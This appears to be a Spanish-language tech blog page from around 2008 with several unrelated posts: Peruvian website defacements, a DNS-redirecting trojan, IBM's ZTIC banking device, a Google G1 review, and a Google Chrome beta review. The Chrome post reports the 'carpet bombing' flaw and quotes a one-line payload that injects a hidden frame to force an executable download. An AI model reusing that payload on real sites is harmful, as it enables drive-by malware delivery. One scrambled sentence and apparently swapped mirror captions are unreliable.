Algunas webs peruanas sufrieron defacement (ataques Mexicanos e Iranis)

La última semana han sufrido defacement algunas páginas web peruanas conocidas. Una de ellas fue el sitio de Panamericana Televisión (www.pantel.com.pe), donde todo deja indicar que se trató un ataque que aprovechó alguna vulnerabilidad de inyección SQL.
Mirror: defacement www.bailandoporunsueno.pe

A la vez, fue vulnerada la página web del conocido programa "Bailando por un Sueño" (www.bailandoporunsueno.pe), al parecer por atacantes mexicanos.
Mirror: defacement www.pantel.com.pe

Por otra parte, también sufrieron defacement algunas sitios de la "Sociedad Peruana de Computación" (www.spc.org.pe), al parecer por algún atacante Iraní. Este atacante dejó el siguiente contenido en las páginas que fueron sus víctimas dentro del dominio de la SPC:

MovieCommander - Con Redirección de DNS

MovieCommander - Con Redirección de DNS

Todos los días nacen nuevos virus, y todos los días se crean nuevas curas para virus ya maduritos, por lo cual hacer una noticia por cada uno sería una pérdida del tiempo.

El tema está cuando un virus, tiene una característica que podría traernos más problemas de lo que nosotros estamos acostumbrados, y esta podría ser… la redirección de DNS.

Y, ¿qué problema particular tiene la redirección de los DNS? Simple, todo el tráfico que sale de nuestras PCs, pasa por un servidor que está tomado por personas con no-tan-buenas intenciones, por lo que nosotros no veremos ningún cambio en nuestra navegación, pero todos los datos que enviemos en la navegación de las páginas (incluídos passwords, cookies recibidas, etc) podrían pasar por dicha PC ya que la misma, a su vez, nos puede redireccionar a un Proxy que actúa como intermediador para tomar los datos de forma transparente.

Este es el caso de un virus que está in-the-wild, o sea, recorriendo las redes actualmente, que tiene como principal característica que se acomoda dentro de los DNS para que nosotros naveguemos por donde ellos quieren.

El virus fue asumido por McAfee como un troyano, ya que el mismo se instala con autorización del usuario, haciendole creer que el mismo le ayudará a encontrar archivos de películas (de ahí el nombre).

El troyano se instala en la carpeta %system32% de Windows, y actúa como rootkit en teoría.

Uno de los usos que se le está dando actualmente para aprovecharse del troyano, es el cambio de las redes de publicidad que se montan en los sitios, redirigiendolas a las publicidades que tienen dichas personas con malas intenciones, de modo que si bien no están aprovechandose de claves y demás (aunque podrían, pero no se ha informado nada), sacan provecho en términos monetarios por las publicidades brindadas.

Aún así, no hay que perder de mira que si navegan por sitios de Bancos, puedan tener la no-tan-grata sorpresa de que luego les falta dinero, y ustedes nunca hayan notado nada raro, porque como dije anteriormente, el cambio es invisible al usuario final.

ZTIC: Dispositivo USB para transacciones bancarias seguras

ZTIC: Dispositivo USB para transacciones bancarias seguras
29 de October 2008 | Federico Almada | 
Categorías:General 

El laboratorio de investigación de Zurich, de IBM, ha dado a conocer un dispositivo USB para añadir una nueva capa de seguridad, a la hora de hacer transacciones bancarias por medio de Internet.

El dispositivo llamado ZTIC (Zone Trusted Information Channel), se conecta mediante el puerto USB, creando un canal directo y seguro (por medio de TLS/SSL) con el servidor de transacciones en línea del banco. De este modo, se evita que el uso del ordenador mismo -que puede estar infectado con malware-, nos convierta en víctimas de un robo virtual.

Una vez que el usuario ingresa en su cuenta de banco, este puede validar todas las transacciones que haga por medio de la pantalla del dispositivo, el cual nos permitirá ver el monto que se debitará, logrando así evitar ataques del tipo man-in-the-middle, que podrían hacer creer al usuario que una transacción no fue manipulada (ya que en el navegador todo aparece “bien”, pero luego… el resumen de nuestro banco no dice lo mismo).

El dispositivo cuenta con un nivel extra de seguridad, al tener una ranura para ingresar una tarjeta inteligente, lo cual disminuirá potencialmente el riesgo de convertirnos en víctima.

Lo mejor de todo, es que el sistema puede ser integrado por los bancos, sin modificación alguna, lo que hace más probable que se termine implementando.

De momento, sólo se está probando en algunos bancos que son clientes de la firma.

Les dejo un vídeo, en inglés, con la explicación sobre como funciona:

Google lanza su propio Celular superando a Iphone

El ingreso de Google en el mercado de los teléfonos celulares ha dejado de ser un rumor. El nuevo teléfono G1, desvelado esta semana por Google, inició una estrecha carrera con el iPhone de Apple, en un esfuerzo por captar parte del mercado de los llamados teléfonos "app" (de aplicaciones) - es decir, celulares que unen la telefonía inalámbrica normal con aplicaciones de datos.

Pero el G1 no será el mejor teléfono inalámbrico para todos. Mientras es claramente un competidor directo con el iPhone -en términos de apariencia, recursos y precio- se distancia del iPhone en importantes aspectos. ¿pero qué ofrece G1?

APLICACIONES
El G1 ha sido diseñado en todos sus detalles para funcionar con aplicaciones, tanto las populares "apps" de Google como las de terceros fabricantes. Google, por supuesto, tendrá la parte del león de aplicaciones ya listas al momento de lanzar el nuevo teléfono - desde Gmail y Google Maps hasta el creciente número de aplicaciones ofimáticas que ofrece en su suite de programas Google Docs. De acuerdo con esto, el G1 viene con un teclado - con juego de teclas estándar - algo más grande que la mayoría de los teléfonos celulares actuales. Este teclado deslizante se esconde bajo la pantalla LCD del teléfono cuando no está en uso. El teclado viene como agradable sorpresa para quienes nunca se pudieron habituar a los teclados "virtuales" de que están provistos otros celulares, tal como el iPhone de Apple. El teclado servirá muy bien para lo que bien puede ser la mayor sorpresa del G1: su sistema operativo de código abierto, llamado Android, para el cual todo desarrollador con conocimientos necesarios podrá crear aplicaciones nuevas. Compare usted esto con la política propietaria de Apple, con su sistema operativo iPhone, y se sentirá tentado a recordar el golpe que Apple recibió de computadoras compatibles con IBM hace muchos años, cuando Apple insistió en rechazar que terceros fabricantes desarrollaran hardware y software compatible con sus computadoras. La política de Google con Android resultará sin duda alguna en una lluvia de aplicaciones para su nuevo G1. El aspecto negativo de esto, puesto que Google tiene escaso control sobre desarrolladores ajenos a sus filas, es que la calidad de esas aplicaciones puede ser muy variable. En todo caso, a quienes usan los programas actuales de Google les agradará constatar qué bien trabajan éstos en el G1. En el nuevo teléfono, Google Maps, por ejemplo, funciona de maravillas. El uso de la vista calllejera (Street View) de Google Maps - que proporciona una visión real de los los barrios de una ciudad, a nivel de calles - facilita estupendamente la búsqueda de un destino en particular. ERGONOMIA Mientras el G1 se centra en aplicaciones que sugieren que el aparato ha sido hecho para amantes del teclado tradicional, los aficionados a las pantallas táctiles tampoco estarán decepcionados. La LCD del G1 es una pantalla táctil que puede usted usar para navegar en Internet y para usar muchos programas. El uso del teclado suele ser completamente opcional. En cuanto a diseño, el G1 es comparable en tamaño al iPhone de Apple, aunque el aparato de Google es algo más alto y más grueso. El G1 se siente en las manos sin duda alguna más ligero, más plástico que el iPhone. La interfaz Android se ve moderna y atractiva, más similar a una interfaz de sobremesa Windows en miniatura que la interfaz única y altamente táctil del iPhone, que trata de convertirse en extensión de la natural capacidad humana de ajustar las cosas con las propias manos. Tal como el iPhone, el G1 ofrece todo el paquete de recursos que se puede esperar de un moderno teléfono celular de último modelo: Wi-Fi, un navegador Web, un reproductor de audio, una cámara digital integrada, juegos, numerosas aplicaciones, GPS y correo electrónico. Notablemente, la cámara digital del G1 tiene una resolución de 3.2 megapíxeles, frente a los 2 megapíxeles del iPhone. No obstante, hay aspectos en los cuales el G1 simplemente no da tanto como el iPhone. La batería del G1, lamentablemente, tiene una vida de sólo 130 horas standby, mientras la del iPhone dura 300 horas, y la memoria básica del G1 es de 1 gigabyte (1 GB), mientras la del iPhone es de 8 GB. La memoria del G1 puede ser incrementada a 8 GB, mientras la del iPhone puede expandirse a 16 GB. El G1 tampoco tiene capacidad de ver vídeos directamente (streaming) como el iPhone, pese a que en el G1 se puede ver YouTube. El G1 tampoco tiene la posibilidad de sincronización con el PC. Por el contrario, Google espera que sea el usuario mismo quien sincronice sus contactos y calendarios a través de la web. Esto constituirá un obstáculo para quienes por su trabajo estén ligados a los servidores de Microsoft Exchange - es decir, al correo y el programa de administración de contactos de Outlook. El iPhone de Apple, por el contrario, es capaz de sincronizar con Outlook, con el añadido de actualización gratuita del software. Usuarios del G1 pueden sincronizar con GMail, el servicio de correo de Google, pero, a decir verdad, no hay muchas oficinas que reposen en GMail como principal servicio de correo. Curiosamente, el G1 carece asimismo de conexión para audífono. A cambio de ello, tendrá usted que usar la única conexión USB en el teléfono para conectar allí un audífono especial USB o recurrir a la ayuda de un adaptador USB de 3.5 mm para poder usar audífonos convencionales. Para peor de males, el único puerto USB del G1 se usa también para recargar electricidad, oír audio y sincronizar USB. Sobra decir que el G1 no será un reemplazo "plug-and-play" para el iPod u otro reproductor mediático portátil.

CONCLUSION
La estrecha vinculación del G1 con el creciente número de aplicaciones de Google y su sistema operativo de código abierto le granjeará las simpatías de quienes están ya vinculados a las aplicaciones de Google. Atraerá asimismo a tecnófilos que disfrutan probando múltiples añadidos y quieran tener a disposición un amplio repertorio de aplicaciones. Por otra parte, la apertura de G1 a desarrolladores de todo el mundo quiere decir que puede haber problemas con los controles de calidad, y que, en último término, quien acabe sufriendo sea el usuario. El G1, en breve, apelará a los amantes de los artilugios y a los guerreros de la tecnología. Quienes quieran un producto que simplemente funcione preferirán apostar por el altamente controlado iPhone de Apple.

Creando los autos de Fast Furious

Primero tenemos al Mitsubishi Eclipse una maravilla de auto:



Y ahora el Toyota Supra q es otro de los preciosos carros de esta gran pelicula:

Matrix fue la pelicula que inspiró a muchos Hackers

¿Quien no recuerda a Matrix? una película que inspiró a muchos hackers y que hoy se han convertido en jefes de seguridad informática. www.Hack-Lover.Blogspot.com les trae un extracto de una de las películas vista por muchos jóvenes aficionados al mundo de la informatica.

Nuevo Navegador Google Chrome Beta

Cuando no han pasado ni 24 horas desde que Google presentó su navegador web Google Chrome, ya se ha reportado la primera vulnerabilidad. Google Chrome es propenso al mismo problema que Safari hace unos meses, al “carpet bombing“, una vulnerabilidad llamada así por el investigador Aviv Raff que puede ser utilizada para descargar automáticamente archivos cuando el usuario navega por una página maliciosa. Raff ha publicado una prueba de concepto en la que se demuestra que los usuarios de Chrome pueden ser engañados para descargar y ejecutar archivos JAR sin ninguna advertencia de la aplicación, para ello se aprovecha de un fallo en el Webkit y un error de Java. Para que el exploit tenga éxito tan sólo se requiere que la víctima haga dos clic, lo cual se puede lograr con un poco de ingeniería social. Google Chrome está basado en Webkit, el problema es que el navegador de Google utiliza una versión anterior de este motor que es vulnerable. Por ahora la compañía del popular buscador no ha comentado nada al respecto, pero esperemos que pronto se publique una actualización.

Ahora podemos hablar de otra vulnerabilidad que han discutido mucho en la lista de full disclosure, se supone que una funcion importante de este navegador es que si crashea solo crashea una pestania.. bueno si ustedes escriben o visitan un link que contenga :% (dos puntos porciento) crashearan todas las tabs.
(fuente: http://evilfingers.com/advisory/google_chrome_poc.php)

Si entran con Chrome a la direccion de Aviv Raff del CarpetBombing:
http://raffon.net/research/google/chrome/carpet.html
Les creara un .JAR en su escritorio (o directorio de downloads default) el JAR es un Notepad en Java, pero podria ser cualquier cosa.

Se publico hace poco una variacion de este ataque que permite la descarga automatica de cualquier archivo pueden encontrar la info en http://milw0rm.com/exploits/6355 el codigo es el siguiente:


document.write('< src="http://www.example.com/hello.exe" frameborder="0" width="0" height="0">');

A pesar de los bug que pudiera tener lo analizamos bien y podemos decir que lo primero que notamos al abrirlo es su diseño minimalista. Bien por Google. Chrome es para navegar por Internet, no necesita tener un aspecto espectacular, ni efectos raros que consumen demasiados recursos al ordenador entorpeciendo su rendimiento. No obstante, el aspecto es más que suficiente.

Chrome lo muestra todo en una sola pantalla: búsqueda web (con Google, claro), historial, barra direcciones, etc. Además, la carga de páginas es mucho más rápida que con otros navegadores. Nosotros lo hemos comprobado, pero algunas webs lo han constatado gráficamente. Especialmente destaca en la ejecución de JavaScripts, es mucho más velozversión beta 8), Firefox 3 o Safari 3. que otros como Explorer (incluyendo su última

La navegación se hace por pestañas, como casi todos los actuales, pero aquí cada una es un proceso independiente. De esta forma, si una se bloquea, se puede cerrar sólo esta pestaña sin afectar al navegador al completo.

Por si fuera poco, es multiproceso, es decir, cada pestaña trabaja de manera independiente, agilizando la carga de las páginas sin estar afectadas por el resto. Así, se puede ver un vídeo en Youtube en una pestaña, mientras en otra se carga otra página, a la vez que nos bajamos un fichero. Todo esto sin que una tarea interfiera en la otra, ganando así mayor velocidad y estabilidad.

En este sentido es muy interesante el Gestor de tareas que incorpora Chrome. Se abre presionando Mayúsculas+Escape En él se puede ver lo que está consumiendo cada pestaña y determinados elementos de las webs, de forma que en un momento dado podemos finalizar el proceso que ralentice nuestra máquina.

El sistema de Favoritos y el Historial es prácticamente el mismo que el que utiliza Firefox por lo que los usuarios de éste estarán familiarizados con el funcionamiento. Los favoritos están en la parte derecha de la barra de marcadores. Se puede ocultar pulsando Ctrl+B. Al historial se accede mediante la combinación de teclas Ctrl+H.

El tema de la seguridad está muy cuidado. Primero, Chrome descarga periódicamente un par de listas negras (de phishing y spam) y avisa si las detecta mientras navegamos. Además, cada pestaña está preparada para impedir la instalación de software sin permiso del usuario (sandboxing). Por último tenemos el modo Incognito, que permite navegar, desde una pestaña, por Internet con la total seguridad de que no se registran nuestras actividades ni tampoco acepta cookies.

Sobre la compatibilidad con los estándares web, malas noticias. De momento esta versión beta no supera el test Acid3, uno de los más usados para analizar estos temas, aunque es cierto que su puntuación supera la de otros como Firefox 3 y IE 7.

Esta versión no tiene aún plugins, pero los tendrá. Es de esperar que siga la línea de Firefox, con plugins de la compañía y otros realizados por particulares pero supervisados.

No hay todavía disponible versión para Linux y Mac OS X, pero Google ya ha anunciado que está trabajando en ello y saldrán, aunque no ha querido mencionar ninguna fecha.

Como conclusión, estamos ante un navegador con un futuro muy prometedor, y que va a poner en serios apuros a los dos grandes: MS Internet Explorer y Mozilla Firefox. Chrome apuesta por la velocidad y estabilidad en la navegación y ha sabido coger lo mejor de la competencia y mejorarlo sin introducir demasiados cambios de navegación reduciendo así el esfuerzo de aprendizaje del usuario.